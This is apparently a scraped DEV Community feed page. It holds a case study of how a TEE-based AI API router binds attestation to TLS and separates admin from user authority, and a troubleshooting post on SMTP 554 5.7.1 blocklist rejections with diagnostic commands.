TLS, headers) and an error-message lexicon: daniele-michelin.com/en/.

Powered by Readybot.io

**DEV Community** ## Disk full but no big files to …

DEV Community

What a TEE can actually prove about an AI API router

An AI API router sits in an awkward place. It needs to read a request to select an upstream account, enforce permissions, and calculate usage. That also gives its operator opportunities to change parameters, misuse credentials, or report a different price from the one the client expected. Publishing the router's source helps people inspect those decisions. It leaves another question unanswered: is that the program handling my request? I am building TeeRouter, an open-source router that explores this question using trusted execution environments and independently verifiable receipts. This is a case study of its public implementation at commit 5c89b551, rather than an independent audit or verification of a live deployment. The interesting part is how narrow the useful guarantees need to be. Start with the connection Suppose a service presents a valid hardware attestation report. If the report is unrelated to the TLS connection carrying your prompts, it tells you very little about where those prompts go. An untrusted frontend could show evidence from a legitimate enclave while processing requests somewhere else. TeeRouter binds its current TLS certificate and a client-generated challenge into the attestation report. The binding in the channel implementation is: REPORT_DATA = SHA512(
UTF8("teellm:attested-channel:v1\0")
|| nonce32
|| SHA256(certDER)
)
The nonce gives the verifier a freshness challenge. The certificate digest connects the evidence to the certificate used for TLS. The protocol label separates this purpose from other uses of attestation data. This only works if the client actually checks that binding and uses the corresponding authenticated connection. Downloading a report, displaying a green badge, and then sending traffic to an unrelated endpoint would discard the useful property. A hardware signature is only the beginning An authentic report can still describe a program you should not trust. A verifier needs an independently chosen policy defining which measurements and security state it accepts. For the TDX path, the project checks certificate chains, revocation and trusted computing base information, measurements, the relevant event sequence, and the report-data binding. The security document makes the independence requirement explicit: evidence supplied by the server cannot also be the sole authority deciding what counts as trustworthy. There is an operational consequence here. Updating the router is also a trust-policy problem. A client must have a defensible reason to accept the new measured software. Automatically trusting every measurement announced by the service would weaken the point of checking measurements at all. The application also matters. A correctly attested program with a credential-export endpoint would still export credentials. TEE isolation does not repair bad authorization logic, unsafe dependencies, or mistakes in the approved code. It reduces particular infrastructure trust assumptions under its hardware and software threat model; it does not remove the need for review. Separate the administrator from the person making a request A router administrator needs to change balances and permissions. That does not mean the administrator should be able to impersonate a user and spend their balance. The current user authentication protocol requires a client-owned Ed25519 signature as well as a valid Bearer credential. A user ID is derived from the public key; the signing seed stays with the client. The signature covers the exact body bytes, method, path and query, relevant headers, a timestamp, a random nonce, and the router's boot ID. Including authorization and routing headers prevents someone from preserving the body while silently changing the account-pool selection or other signed instructions. Including a boot ID makes proofs from an earlier process invalid after a restart. This is a deliberately limited separation of powers. An administrator can still deny service, change per...

Powered by Readybot.io

**DEV Community** ## What a TEE can actually prove about …

DEV Community

SMTP 554 5.7.1: blocklist rejection – how to fix

The receiver permanently rejects the connection or message because the sending IP is on a DNS blocklist (DNSBL) or the content was classified as spam. Common causes A compromised mailbox or web form sent spam through your server. The IP is in a dynamic range (Spamhaus PBL) and is not supposed to deliver directly. Shared IP: another customer on the same IP caused the listing. On your own server: DNSBL lookups go through public resolvers (8.8.8.8), Spamhaus returns error codes and every mail gets rejected. How to check it Check the IP at Spamhaus (octets reversed) dig +short 10.113.0.203.zen.spamhaus.org
Find blocklist rejections in the log journalctl -u postfix --since today | grep -i 'blocked using'
Find accounts with suspiciously many logins/mails journalctl -u postfix --since today | grep -o 'sasl_username=[^ ,]' | sort | uniq -c | sort -rn | head
What actually helps Stop the source first: lock the account, change the password, secure the form, delete spam from the queue. Only then request delisting from the list operator – otherwise the next listing follows. For a PBL listing, relay through a smarthost with a clean IP or use a static IP with a proper PTR. FAQ What does a 127.255.255.254 answer from Spamhaus mean? It is not a listing but an error: the query came through a public or open resolver that Spamhaus does not answer. How long does delisting take? For Spamhaus SBL/XBL usually minutes to hours after the request, as long as the spam has stopped. Some lists also expire automatically after a few days. Full page with every command and the German/Italian version: daniele-michelin.com/en/errors/smtp-554-5-7-1/ First published at daniele-michelin.com. The error lexicon covers HTTP, DNS, TLS, mail, database, PHP, nginx, systemd and Nextcloud, in German, English and Italian.

Powered by Readybot.io*

**DEV Community** ## SMTP 554 5.7.1: blocklist rejection – how …